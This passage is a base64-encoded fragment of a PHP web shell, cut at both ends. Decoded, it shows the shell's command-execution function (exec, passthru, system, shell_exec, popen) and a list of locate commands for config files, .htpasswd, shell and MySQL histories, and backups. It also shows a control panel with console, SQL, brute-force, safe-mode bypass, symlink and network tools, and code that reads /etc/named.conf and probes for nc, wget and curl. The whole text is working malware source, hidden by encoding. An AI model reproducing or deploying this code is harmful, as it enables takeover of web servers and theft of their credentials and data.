0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLAogICAgICAgICJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLAogICAgICAgICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwKICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsCiAgICAgICAgImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLAogICAgICAgICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLAogICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLAogICAgICAgICJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLAogICAgICAgICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLAogICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwKICAgICAgICAibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwKICAgICAgICAibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLAogICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwKICAgICAgICAibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLAogICAgICAgICJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwKICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIgICAgCiAgICApOwp9CgpmdW5jdGlvbiBleCgkaW4pIHsKICAgICRvdXQgPSAnJzsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgQGV4ZWMoJGluLCRvdXQpOwogICAgICAgICRvdXQgPSBAam9pbigiXG4iLCRvdXQpOwogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkaW4pOwogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgQHN5c3RlbSgkaW4pOwogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOwogICAgfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKICAgICAgICAkb3V0ID0gIiI7CiAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkKICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKICAgICAgICBwY2xvc2UoJGYpOwogICAgfQogICAgcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIHdoaWNoKCRwKSB7CiAgICAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsKICAgIGlmKCFlbXB0eSgkcGF0aCkpCiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBwcmludEhlYWRlcigpIHsKICAgIGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkKICAgICAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICJVVEYtOCI7CiAgICBnbG9iYWwgJGNvbG9yOwogICAgCiAgICBlY2hvICc8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT5GSCBzaDNMTDwvdGl0bGU+CiAgICAKICAgIDxzdHlsZT4KICAgICAgICBib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7Y29sb3I6I2ZmZjt9CiAgICAgICAgYm9keSx0ZCx0aCAgICB7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0KICAgICAgICBzcGFuLGgxLGEgICAgeyBjb2xvcjonLiRjb2xvci4nICFpbXBvcnRhbnQ7IH0KICAgICAgICBzcGFuICAgICAgICB7IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0KICAgICAgICBoMSAgICAgICAgICAgIHsgcGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7bWFyZ2luOjBweCAwIDAgNXB4OyB9CiAgICAgICAgZGl2LmNvbnRlbnQgICAgeyBwYWRkaW5nOiA1cHg7bWFyZ2luOjAgNXB4O2JhY2tncm91bmQ6ICMzMzMzMzM7Ym9yZGVyLWJvdHRvbTo1cHggc29saWQgIzQ0NDt9CiAgICAgICAgYSAgICAgICAgICAgIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KICAgICAgICBhOmhvdmVyICAgICAgICB7IC8qYmFja2dyb3VuZDojNWU1ZTVlOyovIH0KICAgICAgICAubWwxICAgICAgICB7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVhICAgIHsgd2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7bWFyZ2luLXRvcDo1cHg7fQogICAgICAgIGlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0ICAgIHsgbWFyZ2luOjA7Y29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAnLiRjb2xvci4nOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0KICAgICAgICBpbnB1dFt0eXBlPSJidXR0b24iXTpob3ZlcixpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7YmFja2dyb3VuZC1jb2xvcjonLiRjb2xvci4nO2NvbG9yOiMwMDA7fSAKICAgICAgICBmb3JtICAgICAgICB7IG1hcmdpbjowcHg7IH0KICAgICAgICAjdG9vbHNUYmwgICAgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucCAgICB7IHdpZHRoOiA4MCU7IH0KICAgICAgICAubWFpbiB0aCAgICB7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzU1NTtmb250LXdlaWdodDogYm9sZDt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0ZCwgdGh7dmVydGljYWwtYWxpZ246bWlkZGxlO30KICAgICAgICAubWVudSB7YmFja2dyb3VuZDogIzMzMzt9CiAgICAgICAgLm1lbnUgdGh7cGFkZGluZzo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9CiAgICAgICAgLm1lbnUgdGg6aG92ZXJ7YmFja2dyb3VuZDojNDQ0O30KICAgICAgICAubDEge2JhY2tncm91bmQtY29sb3I6IzQ0NDt9CiAgICAgICAgcHJlIHtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9CiAgICAgICAgI2NvdF90bF9maXhlZHtwb3NpdGlvbjpmaXhlZDtib3R0b206MHB4O2ZvbnQtc2l6ZToxMnB4O2xlZnQ6MHB4O3BhZGRpbmc6NHB4IDA7Y2xpcDpfdG9wOmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbFRvcCtkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0LXRoaXMuY2xpZW50SGVpZ2h0KTtfbGVmdDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxMZWZ0ICsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoIC0gb2Zmc2V0V2lkdGgpO30KICAgICAgICAubG9nbyB7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjYwcHg7fQogICAgICAgIC5sb2dvIHN1cCB7Zm9udC1zaXplOiAxNXB4O3ZlcnRpY2FsLWFsaWduOiB0b3A7bWFyZ2luLWxlZnQ6IC0xNHB4O30KICAgICAgICAuY3ByIHttYXJnaW4tYm90dG9tOjVweDtmb250LXdlaWdodDpib2xkO30KICAgICAgICAuY3BiIHt3aWR0aDozNHB4O21hcmdpbjowIDVweDt9CiAgICAgICAgLmVjYTEge2ZvbnQtc2l6ZTogMTZweDtmb250LXdlaWdodDogYm9sZDtsZXR0ZXItc3BhY2luZzogMTBweDttYXJnaW46IDAgMnB4IDAgMTdweDt0ZXh0LWFsaWduOiBjZW50ZXI7fQogICAgICAgIC5lY2EyIHtmb250LXNpemU6IDEzcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7bGV0dGVyLXNwYWNpbmc6IDNweDttYXJnaW46IDAgMnB4IDAgN3B4O3RleHQtYWxpZ246IGNlbnRlcjt9CiAgICAgICAgLm5wb2FkIHRkIHtwYWRkaW5nOjA7fQogICAgPC9zdHlsZT4KICAgIDxzY3JpcHQ+CiAgICAgICAgZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7CiAgICAgICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7CiAgICAgICAgICAgIGlmKHAxICE9IG51bGwpZG9jdW1lbnQubWYucDEudmFsdWU9cDE7CiAgICAgICAgICAgIGlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7CiAgICAgICAgICAgIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7CiAgICAgICAgICAgIGlmKGNoYXJzZXQgIT0gbnVsbClkb2N1bWVudC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgZG9jdW1lbnQubWYuc3VibWl0KCk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgdmFyIHBhcmFtcyA9ICJhamF4PXRydWUiOwogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoO2krKykKICAgICAgICAgICAgICAgIHBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsKICAgICAgICAgICAgc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHBhcmFtcyk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7ICAgIAogICAgICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7CiAgICAgICAgICAgICAgICByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwogICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOwogICAgICAgICAgICB9IAogICAgICAgICAgICBlbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewogICAgICAgICAgICAgICAgcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIik7CiAgICAgICAgICAgICAgICBpZiAocmVxKSB7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKICAgICAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApCiAgICAgICAgICAgICAgICBpZihyZXEuc3RhdHVzID09IDIwMCkgewogICAgICAgICAgICAgICAgICAgIC8vYWxlcnQocmVxLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsKICAgICAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBlbHNlIGFsZXJ0KCJSZXF1ZXN0IGVycm9yISIpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTt0b3A6MDtsZWZ0OjA7Ij48ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6IzQ0NDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0OyI+Cgk8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMyB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydwMyddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSk6JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICA8L2Zvcm0+JzsKICAgICRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwogICAgJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICB9IGVsc2UgewogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgICRjd2RfbGlua3MgPSAnJzsKICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiAgICAkbj1jb3VudCgkcGF0aCk7CiAgICBmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsKICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CiAgICAgICAgZm9yKCRqPTA7JGo8PSRpOyRqKyspCiAgICAgICAgICAgICRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKICAgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7CiAgICB9CiAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKICAgICRvcHRfY2hhcnNldHMgPSAnJzsKICAgIGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQogICAgICAgICRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKICAgICRtID0gYXJyYXkoJ1tTZUMuIEluZm9dJz0+J1NlQ0luZm8nLCdbRmlsZVNdJz0+J0ZpbGVzTWFuJywnW0NvblNvbGVdJz0+J0NvbnNvbGUnLCdbU1FMXSc9PidTUUwnLCdbUEhQXSc9PidQSFAnLCdbQllwYXNzZVJdJz0+J1NhZmVNb2RlJywnW1NhRmUgTW9EZV0nPT4nQnlwYXNzJywnW1N0cmluRyBUb29sc10nPT4nU3RyaW5nVG9vbHMnLCdbQnJ1dGVGb3JjZV0nPT4nQnJ1dGVmb3JjZScsJ1tOZXRXb3JrXSc9PidOZXR3b3JrJywnW1JlYWRhQmxlIERpcnNdJz0+J1JlYWRhYmxlJywnW1NZbWxpbmtdJz0+J1NZbWxpbmsnKTsKICAgIGlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQogICAgJG1bJ1tTZWxmS2lsbF0nXSA9ICdTZWxmUmVtb3ZlJzsKICAgICRtWydbTG9nT3V0XSddID0gJ0xvZ291dCc7CiAgICAkbWVudSA9ICcnOwogICAgZm9yZWFjaCgkbSBhcyAkayA9PiAkdikKICAgICAgICAkbWVudSAuPSAnPHRoPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPjwvdGg+JzsKICAgICRkcml2ZXMgPSAiIjsKICAgIGlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewogICAgICAgIGZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApewogICAgICAgICAgICBpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpCiAgICAgICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiAgICAgICAgfQogICAgICAgICRkcml2ZXMgLj0gJzxiciAvPjogJzsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7CiAgICAgICAgJGRvbWluaW9zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKICAgICAgICBpZighJGRvbWluaW9zKSB7CiAgICAgICAgICAgICRkMGMgPSAiQ0FOVCBSRUFEIG5hbWVkLmNvbmYiOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIEBwcmVnX21hdGNoX2FsbCgnLy4qP3pvbmUgIiguKj8pIiB7LycsICRkb21pbmlvcywgJG91dCk7CiAgICAgICAgICAgICRvdXQgPSBzaXplb2YoYXJyYXlfdW5pcXVlKCRvdXRbMV0pKTsKICAgICAgICAgICAgJGQwYyA9ICRvdXQuIiAgRG9tYWlucyI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAkZDBjID0gIiAtLS0gIjsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkKICAgIHsKICAgICAgICAkdXNlZmwgPSAnJzsgJGR3bmxkciA9ICcnOwogICAgICAgIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpIHsKICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiAgICAgICAgICAgIGZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0pIHsgaWYod2hpY2goJGl0ZW0pKSAkdXNlZmwuPSAkaXRlbS4nLCc7IH0KICAgICAgICAgICAgCiAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwogICAgICAgICAgICBmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpIHsgaWYod2hpY2goJGl0ZW0yKSkgJGR3bmxkci49ICRpdGVtMi4nLCc7IH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwogICAgICAgIH0KICAgIH0gZWxzZSB7IAogICAgICAgICR1c2VmbCA9ICcgLS0tLS0tLSAnOyAkZHdubGRyID0gJyAtLS0tLS0tICc7CiAgICB9IAogICAgZWNobyAnCiAgICAgICAgICA8dGFibGUgY2xhc3M9ImluZm8iIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjAxcHgiPjwvdGQ+CiAgICAgICAgICA8dGQ+PHRhYmxlIGNlbGxwYWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCIgY2xhc3M9Im5wb2FkIj48dHI+PHRkIHdpZHRoPSIyMHB4OyI+PHNwYW4+VW5hbWU8L3NwYW4+PC90ZD48dGQ+OiA8bm9icj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkuJzwvbm9icj48L3RkPjwvdHI+IAogICAgICAgICAgPHRyPjx0ZD48c3Bhbj5Vc2VyOjwvc3Bhbj48L3RkPjx0ZD46ICcuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6IDwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5TZXJ2ZXI8L3NwYW4+PC90ZD48dGQ+OiAnLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj4nLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nRHJpdmVzPGJyIC8+Q3dkJzonQ3dkJykuJzwvc3Bhbj48L3RkPjx0ZD46ICcuJGRyaXZlcy4nJy4kY3dkX2xpbmtzLicgJy52aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48L3RkPjwvdHI+PC90YWJsZT48L3RkPicuCiAgICAgICAgICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD4mbmJzcCZuYnNwPG5vYnI+PHNwYW4+Jm5ic3AmbmJzcFNlcnZlciBJUCAgPC9zcGFuPjxicj48c3Bhbj5DbGllbnQgSVA8L3NwYW4+PGJyIC8+PHNwYW4+SEREOiAnLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nIHx8IEZyZWU6Jy52aWV3U2l6ZSgkZnJlZVNwYWNlKS4nIDwvc3Bhbj48YnIgLz48c3Bhbj5QSFAgOiAgPC9zcGFuPjxiciAvPjxzcGFuPlNhZmUgTW9kZTwvc3Bhbj48YnIgLz48L25vYnI+PC90ZD4nLgogICAgICAgICAnPHRkPjxub2JyPjogJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj46ICcuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJzxiciA+ICAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkuJyUpPGJyPjogJy5AcGhwdmVyc2lvbigpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT48YnIgLz46ICcuKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPScuJGNvbG9yLic8Yj5PRkY8L2I+PC9mb250PicpLic8YnIgLz48L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jy4KICAgICAgICAgJzwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzQ0NDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0O3BhZGRpbmc6MnB4OyI+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiIGNsYXNzPSJtZW51Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzQ0NDsiPic7Cn0KCgpmdW5jdGlvbiBwcmludEZvb3RlcigpIHsKICAgICRpc193cml0YWJsZSA9IGlzX3